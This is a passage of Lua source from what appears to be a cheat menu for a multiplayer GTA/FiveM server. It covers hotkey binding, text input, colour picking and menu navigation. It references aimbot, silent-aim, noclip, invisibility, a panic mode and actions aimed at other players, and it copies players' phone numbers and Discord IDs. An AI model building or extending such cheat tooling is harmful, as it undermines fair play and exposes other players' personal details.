elseif action.type == "toggle" then if action.var then menu.vars.bools[action.var] = not menu.vars.bools[action.var] end if action.func then if useTargets then local selected = menu.vars.selectedPlayer if selected then local playerId = GetPlayerFromServerId(selected.serverId or -1) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 then invokeAction(action.func, { toggleState = menu.vars.bools[action.var], targetInfo = { serverId = selected.serverId, playerId = playerId, ped = ped } }) end end end else invokeAction(action.func, { toggleState = menu.vars.bools[action.var], targetInfo = nil }) end end elseif action.type == "toggleIndiv" and action.var and action.func then local callback = type(action.func) == "string" and action.func or action.originalFunc runOverTargets(action, function(targetInfo) menu.vars.indivBools = menu.vars.indivBools or {} menu.vars.indivBools[action.var] = menu.vars.indivBools[action.var] or {} local ped = targetInfo.ped local toggleState = not (menu.vars.indivBools[action.var][ped] or false) menu.vars.indivBools[action.var][ped] = toggleState if callback then invokeAction(callback, { toggleState = toggleState, targetInfo = targetInfo }) end end) elseif action.type == "selector" and action.func and action.var then local selectedIndex = menu.vars.selectors[action.var] or 1 local choices = action.choices if type(choices) == "function" then choices = action.choices() or action.choices end local selectedHotkeyChoice = "Unknown" if choices and 0 < #choices and 1 <= selectedIndex and selectedIndex <= #choices then selectedHotkeyChoice = choices[selectedIndex] end if useTargets then runOverTargets(action, function(targetInfo) invokeAction(action.func, { selectedValue = selectedHotkeyChoice, targetInfo = targetInfo }) end) else invokeAction(action.func, selectedHotkeyChoice) end elseif action.type == "selectorToggle" then action = menu.logic.enrichSelectorToggleHotkeyAction(action) local toggleVar = action.toggleVar if not toggleVar and action.var then toggleVar = action.var .. "Enabled" end if toggleVar then local state = menu.vars.bools[toggleVar] if state == nil then state = action.defaultToggle == true end menu.vars.bools[toggleVar] = not state end if action.toggleFunc then invokeAction(action.toggleFunc, { toggleState = toggleVar and menu.vars.bools[toggleVar] or false, targetInfo = nil }) end elseif (action.type == "slider" or action.type == "numberSlider") and action.func then invokeAction(action.func, action) end end menu.vars.lastKeyPress = GetGameTimer() + 100 return end end end menuLogic.handleHotkeys = handleHotkeys end do local function handleHotkeyBinding() if menu.vars.hotkeyBindCompleteTime ~= 0 and GetGameTimer() >= menu.vars.hotkeyBindCompleteTime then menu.vars.hotkeyBindCompleteTime = 0 menu.vars.hotkeyBindCompleteMessage = nil menu.logic.stopHotkeyBinding() return end if menu.vars.hotkeyBindCompleteTime ~= 0 and GetGameTimer() < menu.vars.hotkeyBindCompleteTime then return end local bindingInfo = menu.vars.hotkeyBindingInfo if not bindingInfo then return end local target = menu.logic.getHotkeyBindingTarget(bindingInfo) if not target or not target.identifier then return end local identifier = target.identifier DisableAllControlActions(0) if menu.vars.pendingHotkey == nil then menu.vars.pendingHotkeyName = nil end if Ham.isKeyReleased(ImGuiKey.Escape) then menu.utils.playSound("BACK") menu.logic.stopHotkeyBinding() return end if identifier ~= "MENU_TOGGLE" and menuKeyBindings.MENU_TOGGLE and Ham.isKeyReleased(menuKeyBindings.MENU_TOGGLE) then menu.utils.playSound("BACK") menu.logic.stopHotkeyBinding(300) return end local function clearExistingBindings() local noKey = ImGuiKey.None or ImGuiKey.NONE or 0 for key, action in pairs(menu.vars.hotkeys) do local sameIdentifier = action and action.identifier == identifier local sameAction = action if action and target then sameAction = action.type == target.type and action.func == target.func and action.var == target.var end if sameIdentifier or sameAction then if action and action.identifier then menu.vars.hotkeyBinds[action.identifier] = "None" end menu.vars.hotkeys[key] = nil end end menu.vars.hotkeyBinds[identifier] = "None" if identifier == "MENU_TOGGLE" then menuKeyBindings.MENU_TOGGLE = noKey elseif identifier == "AIMBOT_KEY" then if Ham.setAimbotKey then Ham.setAimbotKey(noKey) elseif Ham.setaimbotkey then Ham.setaimbotkey(noKey) end end menu.vars.keybindsDirty = true end if Ham.isKeyReleased(ImGuiKey.Enter) then local pendingKey = menu.vars.pendingHotkey if pendingKey then local pendingName = menu.vars.pendingHotkeyName local existingAction = menu.vars.hotkeys[pendingKey] if existingAction and existingAction.identifier ~= identifier then menu.utils.playSound("ERROR") menu.utils.notify(pendingName .. " is already bound!", "error", 3000) menu.logic.stopHotkeyBinding() return end clearExistingBindings() menu.vars.hotkeys[pendingKey] = target menu.vars.hotkeyBinds[identifier] = pendingName if menu.vars.hotkeyBindSlot and identifier then menu.vars.hotkeyBindSlot[identifier] = "key" end menu.vars.keybindsDirty = true if identifier == "MENU_TOGGLE" then menuKeyBindings.MENU_TOGGLE = pendingKey menu.vars.menuToggleIgnoreUntil = GetGameTimer() + 300 end if identifier == "AIMBOT_KEY" then menu.functions.applyAimbotKey() end menu.utils.playSound("SELECT") menu.vars.hotkeyBindCompleteMessage = "Screen bound to: " .. pendingName menu.vars.hotkeyBindCompleteTime = GetGameTimer() + 500 menu.vars.hotkeyBindingInfo = nil menu.vars.pendingHotkey = nil menu.vars.pendingHotkeyName = nil end return end if menu.vars.hotkeyBindIgnoreUntil and GetGameTimer() < menu.vars.hotkeyBindIgnoreUntil then return end local excludedKeys = { [ImGuiKey.Enter] = true, [ImGuiKey.Escape] = true, [ImGuiKey.LeftArrow] = true, [ImGuiKey.RightArrow] = true, [ImGuiKey.UpArrow] = true, [ImGuiKey.DownArrow] = true, [ImGuiKey.LeftShift] = true, [ImGuiKey.ModShift] = true } if identifier ~= "MENU_TOGGLE" and menuKeyBindings.MENU_TOGGLE then excludedKeys[menuKeyBindings.MENU_TOGGLE] = true end if ImGuiKey.RightShift and Ham.isKeyReleased(ImGuiKey.RightShift) then menu.vars.pendingHotkey = ImGuiKey.RightShift menu.vars.pendingHotkeyName = "RightShift" menu.utils.playSound("NAV_UP_DOWN") return end for keyName, key in pairs(ImGuiKey) do if keyName ~= "None" and keyName ~= "NONE" and keyName ~= "LeftShift" and keyName ~= "ModShift" and not excludedKeys[key] and (Ham.isKeyReleased(key) or Ham.isKeyPressed(key)) then menu.vars.pendingHotkey = key menu.vars.pendingHotkeyName = keyName if menuKeyBindings.MENU_TOGGLE and key == menuKeyBindings.MENU_TOGGLE then menu.vars.menuToggleIgnoreUntil = GetGameTimer() + 300 end menu.utils.playSound("NAV_UP_DOWN") return end end end menuLogic.handleHotkeyBinding = handleHotkeyBinding end do local function handleControls() if menu.vars.movingOverlayList then return end if GetGameTimer() < (menu.vars.overlayMoveInputBlockedUntil or 0) then return end local prompt = menu.vars.textPrompt if prompt then prompt.value = tostring(prompt.value or "") prompt.cursorPos = tonumber(prompt.cursorPos) or #prompt.value if prompt.cursorPos < 0 then prompt.cursorPos = 0 end if prompt.cursorPos > #prompt.value then prompt.cursorPos = #prompt.value end DisableAllControlActions(0) local fullInvisible = _G.pmFullInvisibleActive == true or (menu.vars.bools and menu.vars.bools.fullInvisible == true) if menu.vars.bools.noclip and not fullInvisible then Ham.noClip(true) end if Ham.isKeyReleased(ImGuiKey.Escape) then menu.utils._closeTextPrompt(false) return end if Ham.isKeyReleased(ImGuiKey.Enter) then if not prompt._submitBlockUntil or GetGameTimer() >= prompt._submitBlockUntil then menu.utils._closeTextPrompt(true) end return end if Ham.isKeyPressed(ImGuiKey.Backspace) then if prompt._selectAll then prompt.value = "" prompt.cursorPos = 0 prompt._selectAll = false prompt._keyRepeat = nil return end if prompt._backspaceNext == nil or GetGameTimer() > prompt._backspaceNext then if 0 < prompt.cursorPos then prompt.value = string.sub(prompt.value, 1, prompt.cursorPos - 1) .. string.sub(prompt.value, prompt.cursorPos + 1) prompt.cursorPos = prompt.cursorPos - 1 end prompt._backspaceNext = GetGameTimer() + 40 end return end prompt._backspaceNext = nil if ImGuiKey.Delete and Ham.isKeyReleased(ImGuiKey.Delete) then if prompt._selectAll then prompt.value = "" prompt.cursorPos = 0 prompt._selectAll = false prompt._keyRepeat = nil return end if prompt.cursorPos < #prompt.value then prompt.value = string.sub(prompt.value, 1, prompt.cursorPos) .. string.sub(prompt.value, prompt.cursorPos + 2) return end end local ctrlDown = false local leftControl = ImGuiKey.LeftControl or ImGuiKey.LeftCtrl local rightControl = ImGuiKey.RightControl or ImGuiKey.RightCtrl local modControl = ImGuiKey.ModCtrl if leftControl and not ctrlDown then ctrlDown = Ham.isKeyDown(leftControl) end if rightControl and not ctrlDown then ctrlDown = Ham.isKeyDown(rightControl) end if modControl and not ctrlDown then ctrlDown = Ham.isKeyDown(modControl) end local vKey = ImGuiKey.V if ctrlDown and vKey and Ham.isKeyReleased(vKey) and not menu.utils.isTextPromptSystemModifierDown() then if Ham.getClipboard then local ok, clipboard = pcall(Ham.getClipboard) if ok and clipboard then if prompt._selectAll then prompt.value = tostring(clipboard) prompt.cursorPos = #prompt.value prompt._selectAll = false else clipboard = tostring(clipboard) prompt.value = string.sub(prompt.value, 1, prompt.cursorPos) .. clipboard .. string.sub(prompt.value, prompt.cursorPos + 1) prompt.cursorPos = prompt.cursorPos + #clipboard end if prompt.maxLen and #prompt.value > prompt.maxLen then prompt.value = string.sub(prompt.value, 1, prompt.maxLen) if prompt.cursorPos > #prompt.value then prompt.cursorPos = #prompt.value end end end end return end local aKey = ImGuiKey.A if ctrlDown and aKey and Ham.isKeyReleased(aKey) then prompt._selectAll = true return end if ctrlDown then prompt._keyRepeat = nil return end if menu.utils.isTextPromptSystemModifierDown() then prompt._keyRepeat = nil return end if ImGuiKey.LeftArrow and Ham.isKeyReleased(ImGuiKey.LeftArrow) then if prompt._selectAll then prompt._selectAll = false prompt.cursorPos = 0 else prompt.cursorPos = math.max(0, (prompt.cursorPos or 0) - 1) end return end if ImGuiKey.RightArrow and Ham.isKeyReleased(ImGuiKey.RightArrow) then if prompt._selectAll then prompt._selectAll = false prompt.cursorPos = #prompt.value else prompt.cursorPos = math.min(#prompt.value, (prompt.cursorPos or 0) + 1) end return end local shiftDown = Ham.isKeyDown(ImGuiKey.LeftShift) if not shiftDown then shiftDown = Ham.isKeyDown(ImGuiKey.RightShift) end local function insertText(character, key, shifted) prompt._keyRepeat = prompt._keyRepeat or {} local now = GetGameTimer() local repeatKey = tostring(key) .. "_" .. (shifted and "shift" or "normal") local repeatState = prompt._keyRepeat[repeatKey] if not repeatState then prompt._keyRepeat[repeatKey] = { lastTime = now, repeatTime = now + 500 } else if now < repeatState.repeatTime then return end repeatState.repeatTime = now + 30 repeatState.lastTime = now end if prompt._selectAll then prompt.value = tostring(character) prompt.cursorPos = #prompt.value prompt._selectAll = false else prompt.value = string.sub(prompt.value, 1, prompt.cursorPos) .. tostring(character) .. string.sub(prompt.value, prompt.cursorPos + 1) prompt.cursorPos = prompt.cursorPos + #tostring(character) end if prompt.maxLen and #prompt.value > prompt.maxLen then prompt.value = string.sub(prompt.value, 1, prompt.maxLen) if prompt.cursorPos > #prompt.value then prompt.cursorPos = #prompt.value end end end local function clearKeyRepeat(key) if prompt._keyRepeat then prompt._keyRepeat[tostring(key) .. "_shift"] = nil prompt._keyRepeat[tostring(key) .. "_normal"] = nil end end for byte = string.byte("A"), string.byte("Z") do local letter = string.char(byte) local key = ImGuiKey[letter] if key then if Ham.isKeyPressed(key) then local shifted = Ham.isKeyDown(ImGuiKey.LeftShift) if not shifted then shifted = Ham.isKeyDown(ImGuiKey.RightShift) end insertText(shifted and letter or string.lower(letter), key, shifted) return end clearKeyRepeat(key) end end for digit = 0, 9 do local digitText = tostring(digit) local keys = { ImGuiKey["Key" .. digitText], ImGuiKey[digitText], ImGuiKey["Keypad" .. digitText] } for _, key in ipairs(keys) do if key then if Ham.isKeyPressed(key) then local keypad = key == ImGuiKey["Keypad" .. digitText] local shiftedCharacters = { ["1"] = "!", ["2"] = "\"", ["3"] = "\194\167", ["4"] = "$", ["5"] = "%", ["6"] = "&", ["7"] = "/", ["8"] = "(", ["9"] = ")", ["0"] = "=" } local character = digitText local shifted = false if shiftDown and not keypad and shiftedCharacters[digitText] then character = shiftedCharacters[digitText] shifted = true end insertText(character, key, shifted) return end clearKeyRepeat(key) end end end if Ham.isKeyPressed(ImGuiKey.Space) then insertText(" ", ImGuiKey.Space, false) return end clearKeyRepeat(ImGuiKey.Space) local minusKeys = { ImGuiKey.Minus, ImGuiKey.Hyphen, ImGuiKey.KeypadSubtract } for _, key in ipairs(minusKeys) do if key then if Ham.isKeyPressed(key) then local shifted = Ham.isKeyDown(ImGuiKey.LeftShift) if not shifted then shifted = Ham.isKeyDown(ImGuiKey.RightShift) end insertText(shifted and "_" or "-", key, shifted) return end clearKeyRepeat(key) end end local punctuation = { { key = ImGuiKey.Period, normal = ".", shifted = ":" }, { key = ImGuiKey.KeypadDecimal, normal = ".", shifted = ".", ignoreShift = true }, { key = ImGuiKey.Comma, normal = ",", shifted = ";" }, { key = ImGuiKey.Semicolon, normal = ";", shifted = ":" }, { key = ImGuiKey.Slash, normal = "/", shifted = "_" }, { key = ImGuiKey.Backslash, normal = "#", shifted = "'" }, { key = ImGuiKey.Equal, normal = "=", shifted = "*" }, { key = ImGuiKey.LeftBracket, normal = "\195\188", shifted = "\195\156" }, { key = ImGuiKey.RightBracket, normal = "+", shifted = "*" }, { key = ImGuiKey.Apostrophe, normal = "\195\164", shifted = "\195\132" }, { key = ImGuiKey.GraveAccent, normal = "^", shifted = "\194\176" } } for _, entry in ipairs(punctuation) do if entry.key then if Ham.isKeyPressed(entry.key) then local shifted = false if not entry.ignoreShift then shifted = Ham.isKeyDown(ImGuiKey.LeftShift) if not shifted then shifted = Ham.isKeyDown(ImGuiKey.RightShift) end end insertText(shifted and entry.shifted or entry.normal, entry.key, shifted) return end clearKeyRepeat(entry.key) end end return end if not menu.vars.panicMode then local menuOpen = menu.logic.isMenuVisuallyOpen() local toggleReleased = menuKeyBindings.MENU_TOGGLE and Ham.isKeyReleased(menuKeyBindings.MENU_TOGGLE) if toggleReleased and menu.vars.menuToggleIgnoreUntil and GetGameTimer() < menu.vars.menuToggleIgnoreUntil then toggleReleased = false end if toggleReleased and (menu.vars.isBindingKey or menu.vars.isBindingHotkey) then toggleReleased = false end if toggleReleased then menu.logic.setMenuVisibleAnimated(not menuOpen) if not menuOpen and menu.vars.visible and menu.functions and menu.functions.ensureRageBotBulletTypeLayout then menu.functions.ensureRageBotBulletTypeLayout() end if menuOpen and menu.vars.isBindingHotkey then menu.logic.stopHotkeyBinding() end if menuOpen and toggleReleased and menu.vars.colorPickerState.active then menu.vars.colorPickerState.active = false menu.vars.colorPickerState.cachedPalette = nil menu.vars.colorPickerState.cachedHue = -1 menu.vars.colorPickerState._skippedInputBlock = false Ham.toggleMouse(false) Ham.toggleInputBlock(false) menu.logic.releaseNoclipPosition("colorPicker") end menu.utils.playSound("NAV_UP_DOWN") end end if menu.vars.colorPickerState.active then local colorState = menu.vars.colorPickerState local function notifyColorChange() local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node then local nodeOptions = menu.logic.getNodeOptions(node) for _, option in ipairs(nodeOptions) do if menu.logic.optionMatchesColorVar(option, menu.vars.colorPickerState.var) and option.onChangeFunc then menu.utils.safeCallByName(option.onChangeFunc) end end end end if colorState.hexInputActive then if Ham.isKeyReleased(ImGuiKey.Escape) then colorState.hexInputActive = false colorState.hexSelectAll = false return end local function applyHexColor() local red, green, blue = menu.utils.hexToRgb(colorState.hexInputBuffer or "") if red and green and blue then if colorState.var then menu.vars.colorPickers[colorState.var] = { red, green, blue, math.floor(colorState.alpha or 255) } end colorState.hue, colorState.saturation, colorState.brightness = menu.utils.rgbToHsv(red, green, blue) notifyColorChange() return true end return false end if Ham.isKeyReleased(ImGuiKey.Enter) then if applyHexColor() then colorState.hexInputActive = false colorState.hexSelectAll = false else menu.utils.notify("Invalid HEX color", "error", 2000) end return end local ctrlDown = false local leftControl = ImGuiKey.LeftControl or ImGuiKey.LeftCtrl local rightControl = ImGuiKey.RightControl or ImGuiKey.RightCtrl local modControl = ImGuiKey.ModCtrl if leftControl and not ctrlDown then ctrlDown = Ham.isKeyDown(leftControl) end if rightControl and not ctrlDown then ctrlDown = Ham.isKeyDown(rightControl) end if modControl and not ctrlDown then ctrlDown = Ham.isKeyDown(modControl) end local vKey = ImGuiKey.V if ctrlDown and vKey and Ham.isKeyReleased(vKey) then if Ham.getClipboard then local clipboard = Ham.getClipboard() if clipboard then local hex = tostring(clipboard) hex = hex.upper(hex) hex = hex.gsub(hex, "%s+", "") hex = hex.gsub(hex, "[^#0-9A-F]", "") if string.sub(hex, 1, 1) ~= "#" then hex = "#" .. hex end if 7 < #hex then hex = string.sub(hex, 1, 7) end colorState.hexInputBuffer = hex colorState.hexSelectAll = false applyHexColor() end return end end local aKey = ImGuiKey.A if ctrlDown and aKey and Ham.isKeyReleased(aKey) then colorState.hexSelectAll = true return end if Ham.isKeyReleased(ImGuiKey.Backspace) then if colorState.hexSelectAll then colorState.hexInputBuffer = "" colorState.hexSelectAll = false else local buffer = colorState.hexInputBuffer or "" if 0 < #buffer then colorState.hexInputBuffer = string.sub(buffer, 1, #buffer - 1) end end return end if ImGuiKey.Delete and Ham.isKeyReleased(ImGuiKey.Delete) then if colorState.hexSelectAll then colorState.hexInputBuffer = "" colorState.hexSelectAll = false end return end local function appendHex(character) local buffer = colorState.hexSelectAll and "" or colorState.hexInputBuffer or "" if #buffer < 7 then colorState.hexInputBuffer = buffer .. character end colorState.hexSelectAll = false end local buffer = colorState.hexInputBuffer or "" if ImGuiKey.Hash and Ham.isKeyReleased(ImGuiKey.Hash) and #buffer == 0 then appendHex("#") return end if ImGuiKey["3"] and Ham.isKeyReleased(ImGuiKey["3"]) and Ham.isKeyDown(ImGuiKey.LeftShift) and #buffer == 0 then appendHex("#") return end local hexKeys = { { "0", "0" }, { "1", "1" }, { "2", "2" }, { "3", "3" }, { "4", "4" }, { "5", "5" }, { "6", "6" }, { "7", "7" }, { "8", "8" }, { "9", "9" }, { "A", "A" }, { "B", "B" }, { "C", "C" }, { "D", "D" }, { "E", "E" }, { "F", "F" } } for _, entry in ipairs(hexKeys) do local key = ImGuiKey[entry[1]] if key and Ham.isKeyReleased(key) then if #buffer == 0 then appendHex("#") end appendHex(entry[2]) return end end return end local deleteKey = ImGuiKey.Delete local closeReleased = Ham.isKeyReleased(ImGuiKey.Escape) if not closeReleased then closeReleased = Ham.isKeyReleased(ImGuiKey.Backspace) end if not closeReleased then closeReleased = Ham.isKeyReleased(ImGuiKey.Enter) end if not closeReleased and deleteKey then closeReleased = Ham.isKeyReleased(deleteKey) end if closeReleased then notifyColorChange() colorState.active = false colorState.cachedPalette = nil colorState.cachedHue = -1 colorState.hexInputActive = false colorState.hexInputBuffer = "" colorState.hexSelectAll = false colorState._skippedInputBlock = false Ham.toggleMouse(false) Ham.toggleInputBlock(false) menu.logic.releaseNoclipPosition("colorPicker") menu.utils.playSound("BACK") return end end if menu.vars.freecamMenuActive and menu.vars.freecamMenu and Ham.isKeyReleased(ImGuiKey.Enter) then local freecamMenu = menu.vars.freecamMenu local selectedOption = freecamMenu.menuOptions and freecamMenu.menuOptions[freecamMenu.selectedOption] if menu.utils.isFreecamShootVehicleOptionName(selectedOption) and menu.utils.getFreecamShootVehicleCategoryName(freecamMenu) == "Custom" and menu.utils.canOpenFreecamShootVehicleCustomPrompt() then menu.utils.promptFreecamShootVehicleCustomModel(freecamMenu) return end end if not menu.logic.isMenuVisuallyOpen() or menu.vars.animation.active then return end local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if not currentNode then return end local nodeOptions = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(nodeOptions) local optionCount = #visibleOptions menu.logic.clampMenuScroll(optionCount) if menu.vars.bools and menu.vars.bools.menuMouseControl and Ham.getMousePos then menu.logic.processMenuMouseUi(currentNode, visibleOptions, optionCount) end if menu.vars.playerInfoListMode then local leftArrow = ImGuiKey.LeftArrow local enterKey = ImGuiKey.Enter local upArrow = ImGuiKey.UpArrow local downArrow = ImGuiKey.DownArrow local maxRow = menu.vars._playerInfoListMaxRow or 12 if leftArrow and Ham.isKeyReleased(leftArrow) then menu.vars.playerInfoListMode = false menu.utils.playSound("NAV_LEFT_RIGHT") return end if downArrow and Ham.isKeyReleased(downArrow) then menu.vars.playerInfoListIndex = math.min(maxRow, (menu.vars.playerInfoListIndex or 2) + 1) menu.utils.playSound("NAV_UP_DOWN") menu.vars.lastKeyPress = GetGameTimer() + 120 return end if upArrow and Ham.isKeyReleased(upArrow) then menu.vars.playerInfoListIndex = math.max(1, (menu.vars.playerInfoListIndex or 2) - 1) menu.utils.playSound("NAV_UP_DOWN") menu.vars.lastKeyPress = GetGameTimer() + 120 return end if enterKey and Ham.isKeyReleased(enterKey) then local selectedRow = menu.vars.playerInfoListIndex or menu.vars.playerInfoPhoneRowIndex or 2 local phoneRow = menu.vars.playerInfoPhoneRowIndex or 2 local discordRow = menu.vars.playerInfoDiscordRowIndex if selectedRow == phoneRow then local phone = menu.vars._playerInfoPhoneCopyRaw if phone and phone ~= "" then if menu.utils.setClipboardText(phone) then menu.utils.notify("Phone number copied", "success", 2000) else menu.utils.notify("Clipboard unavailable", "error", 2200) end else menu.utils.notify("No phone number to copy", "info", 2200) menu.utils.playSound("ERROR") end elseif discordRow and selectedRow == discordRow then local discord = menu.vars._playerInfoDiscordCopyRaw if discord and discord ~= "" then if menu.utils.setClipboardText(discord) then local isDiscordId = discord:match("^%d+$") ~= nil and 17 <= #discord menu.utils.notify(isDiscordId and "Discord ID copied" or "Discord copied", "success", 2000) else menu.utils.notify("Clipboard unavailable", "error", 2200) end else menu.utils.notify("No Discord data to copy", "info", 2200) menu.utils.playSound("ERROR") end else menu.utils.notify("Nothing to copy on this row", "info", 2000) menu.utils.playSound("ERROR") end return end return end if 0 < optionCount and ImGuiKey.RightArrow and Ham.isKeyReleased(ImGuiKey.RightArrow) and currentNode.title == "Online Options" and (currentNode.tabIndex or 1) == 1 then local selectedOption = visibleOptions[menu.vars.currentOption + menu.vars.scrollOffset] local var = selectedOption and selectedOption.var local playerOption = type(var) == "string" and string.match(var, "^__player_select_") ~= nil if playerOption and menu.vars.bools.drawSelectedPlayerInfo then menu.vars.playerInfoListMode = true menu.vars.playerInfoListIndex = menu.vars.playerInfoPhoneRowIndex or 2 menu.utils.playSound("NAV_LEFT_RIGHT") menu.vars.lastKeyPress = GetGameTimer() + 150 return end end if GetGameTimer() < menu.vars.lastKeyPress then return end local inputHandled = false local verticalNavigation = false local toggleActivation = false local fastSliderRepeat = false local adjustmentHandled = false local adjustmentCooldown = nil local function resetSliderHold() menu.vars.sliderHoldState = { optionKey = nil, direction = 0, startedAt = 0, lastAt = 0, repeatCount = 0 } end local function getSliderAdjustment(option, direction) local now = GetGameTimer() local holdState = menu.vars.sliderHoldState if not holdState then holdState = { optionKey = nil, direction = 0, startedAt = 0, lastAt = 0, repeatCount = 0 } end local optionKey = tostring(option.var or option.sliderVar or option.name or "") local continuingHold = holdState.optionKey == optionKey and holdState.direction == direction and now - (holdState.lastAt or 0) <= 400 if continuingHold then holdState.repeatCount = (holdState.repeatCount or 0) + 1 else holdState.optionKey = optionKey holdState.direction = direction holdState.startedAt = now holdState.repeatCount = 0 end holdState.lastAt = now menu.vars.sliderHoldState = holdState local heldFor = now - (holdState.startedAt or now) local step = option.step or option.sliderStep or 0.05 if option and (option.var == "aimbotFov" or option.var == "silentAimFov") then local currentValue = tonumber(menu.vars.sliders and menu.vars.sliders[option.var]) or tonumber(option.default) or 0 if 150 <= currentValue then step = 50 elseif 50 <= currentValue then step = 10 else step = 1 end elseif option and (option.var == "playerHealth" or option.var == "playerArmor") then step = 5 elseif option and tostring(option.var or option.sliderVar or ""):match("^skin") then step = option.step or option.sliderStep or 1 elseif option and option.disableHoldAcceleration ~= true and continuingHold then if 600 <= heldFor then step = step * 10 elseif 300 <= heldFor then step = step * 5 elseif 120 <= heldFor then step = step * 2 end end local cooldown = option.sliderAdjustCooldownMs or menu.vars.selectorAdjustDelayMs or 40 return step, cooldown end if optionCount == 0 then if Ham.isKeyReleased(ImGuiKey.Backspace) then menu.logic.goBack() inputHandled = true end if inputHandled then menu.vars.lastKeyPress = GetGameTimer() + 200 end return end local selectedOption = visibleOptions[menu.vars.currentOption + menu.vars.scrollOffset] local enterReleased = Ham.isKeyReleased(ImGuiKey.Enter) local leaveRepeat = false if enterReleased then inputHandled = true enterReleased = false if selectedOption and selectedOption.type == "toggle" and selectedOption.hotkeyTarget and not selectedOption.sliderVar then local identifier = selectedOption.hotkeyTarget.identifier menu.vars.hotkeyBindSlot = menu.vars.hotkeyBindSlot or {} local slot = menu.vars.hotkeyBindSlot[identifier] or "key" if slot == "custom" then enterReleased = true menu.logic.startHotkeyBinding({ type = "hotkey", name = (selectedOption.name or "Option") .. " Key", target = selectedOption.hotkeyTarget }) menu.utils.playSound("NAV_LEFT_RIGHT") end end if not enterReleased then if selectedOption and (selectedOption.type == "slider" or selectedOption.type == "numberSlider") and selectedOption.inputVar and selectedOption.inputChoices then menu.logic.cycleNumberSliderInput(selectedOption, 1) menu.utils.playSound("NAV_LEFT_RIGHT") leaveRepeat = true else if selectedOption and ( selectedOption.type == "toggle" or selectedOption.type == "toggleColorPicker" or selectedOption.type == "toggleIndiv" or selectedOption.type == "selectorToggle" ) then toggleActivation = true end menu.utils.playSound("SELECT") menu.logic.activateOption(selectedOption) end end leaveRepeat = true end if not leaveRepeat then local function menuBindKeyReleased() local keyName = menu.vars.menuOptionBindKey or "F11" local key if menu.functions.resolveMenuNavKey then key = menu.functions.resolveMenuNavKey(keyName) end if not key and ImGuiKey then key = ImGuiKey[keyName] end return key and Ham.isKeyReleased(key) end if menuBindKeyReleased() then inputHandled = true if Ham.toggleInputBlock then Ham.toggleInputBlock(true) menu.vars._menuF11InputBlock = true end local bindable = selectedOption and ( selectedOption.type == "button" or selectedOption.type == "toggle" or selectedOption.type == "toggleIndiv" or selectedOption.type == "selector" or selectedOption.type == "selectorToggle" or ( (selectedOption.type == "slider" or selectedOption.type == "numberSlider") and selectedOption.keybindIdentifier ) ) if bindable then menu.logic.startHotkeyBinding({ name = (selectedOption.name or "") .. " Hotkey", target = menu.logic.buildHotkeyBindTarget(selectedOption), message = nil }) menu.utils.playSound("NAV_LEFT_RIGHT") leaveRepeat = true else menu.utils.playSound("ERROR") end end if not leaveRepeat and Ham.isKeyReleased(ImGuiKey.Backspace) then inputHandled = true if #menu.vars.navigationStack > 1 then local current = menu.vars.navigationStack[#menu.vars.navigationStack] local previous = menu.vars.navigationStack[#menu.vars.navigationStack - 1] if current and previous then menu.logic.triggerAnimation("out", current.options, previous.options) end end menu.logic.goBack() leaveRepeat = true end local function moveSelection(direction) if optionCount > menu.vars.maxVisibleOptions then if 0 < direction then if menu.vars.currentOption < menu.vars.maxVisibleOptions then menu.vars.currentOption = menu.vars.currentOption + 1 elseif optionCount > menu.vars.scrollOffset + menu.vars.maxVisibleOptions then menu.vars.scrollOffset = menu.vars.scrollOffset + 1 else menu.vars.currentOption = 1 menu.vars.scrollOffset = 0 end else if 1 < menu.vars.currentOption then menu.vars.currentOption = menu.vars.currentOption - 1 elseif 0 < menu.vars.scrollOffset then menu.vars.scrollOffset = menu.vars.scrollOffset - 1 else menu.vars.scrollOffset = optionCount - menu.vars.maxVisibleOptions menu.vars.currentOption = menu.vars.maxVisibleOptions if menu.vars.scrollOffset < 0 then menu.vars.scrollOffset = 0 end if optionCount < menu.vars.currentOption + menu.vars.scrollOffset then menu.vars.currentOption = optionCount - menu.vars.scrollOffset end end end elseif 0 < direction then menu.vars.currentOption = menu.vars.currentOption % optionCount + 1 else local previous = menu.vars.currentOption - 1 if previous < 1 and optionCount then previous = optionCount end menu.vars.currentOption = previous end local attempts = 0 while attempts < optionCount do local option = visibleOptions[menu.vars.currentOption + menu.vars.scrollOffset] if not menu.logic.isNonSelectable(option) then return end attempts = attempts + 1 if optionCount > menu.vars.maxVisibleOptions then if 0 < direction then if menu.vars.currentOption < menu.vars.maxVisibleOptions then menu.vars.currentOption = menu.vars.currentOption + 1 elseif optionCount > menu.vars.scrollOffset + menu.vars.maxVisibleOptions then menu.vars.scrollOffset = menu.vars.scrollOffset + 1 else menu.vars.currentOption = 1 menu.vars.scrollOffset = 0 end else if 1 < menu.vars.currentOption then menu.vars.currentOption = menu.vars.currentOption - 1 elseif 0 < menu.vars.scrollOffset then menu.vars.scrollOffset = menu.vars.scrollOffset - 1 else menu.vars.scrollOffset = optionCount - menu.vars.maxVisibleOptions menu.vars.currentOption = menu.vars.maxVisibleOptions if menu.vars.scrollOffset < 0 then menu.vars.scrollOffset = 0 end if optionCount < menu.vars.currentOption + menu.vars.scrollOffset then menu.vars.currentOption = optionCount - menu.vars.scrollOffset end end end elseif 0 < direction then menu.vars.currentOption = menu.vars.currentOption % optionCount + 1 else local previous = menu.vars.currentOption - 1 if previous < 1 and optionCount then previous = optionCount end menu.vars.currentOption = previous end end end if not leaveRepeat and Ham.isKeyPressed(ImGuiKey.DownArrow) then if menu.utils.shouldVanityMenuDeferArrowToFreecam and menu.utils.shouldVanityMenuDeferArrowToFreecam("down") then return end inputHandled = true verticalNavigation = true resetSliderHold() menu.utils.playSound("NAV_UP_DOWN") moveSelection(1) leaveRepeat = true end if not leaveRepeat and Ham.isKeyPressed(ImGuiKey.UpArrow) then if menu.utils.shouldVanityMenuDeferArrowToFreecam and menu.utils.shouldVanityMenuDeferArrowToFreecam("up") then return end inputHandled = true verticalNavigation = true resetSliderHold() menu.utils.playSound("NAV_UP_DOWN") moveSelection(-1) leaveRepeat = true end local function clampSelectionAfterAdjustment() local node = menu.vars.navigationStack[#menu.vars.navigationStack] if not node then return end local currentOption = menu.vars.currentOption local scrollOffset = menu.vars.scrollOffset local count = #menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) menu.vars.currentOption = math.min(currentOption, math.max(1, count)) menu.vars.scrollOffset = math.min(scrollOffset, math.max(0, count - 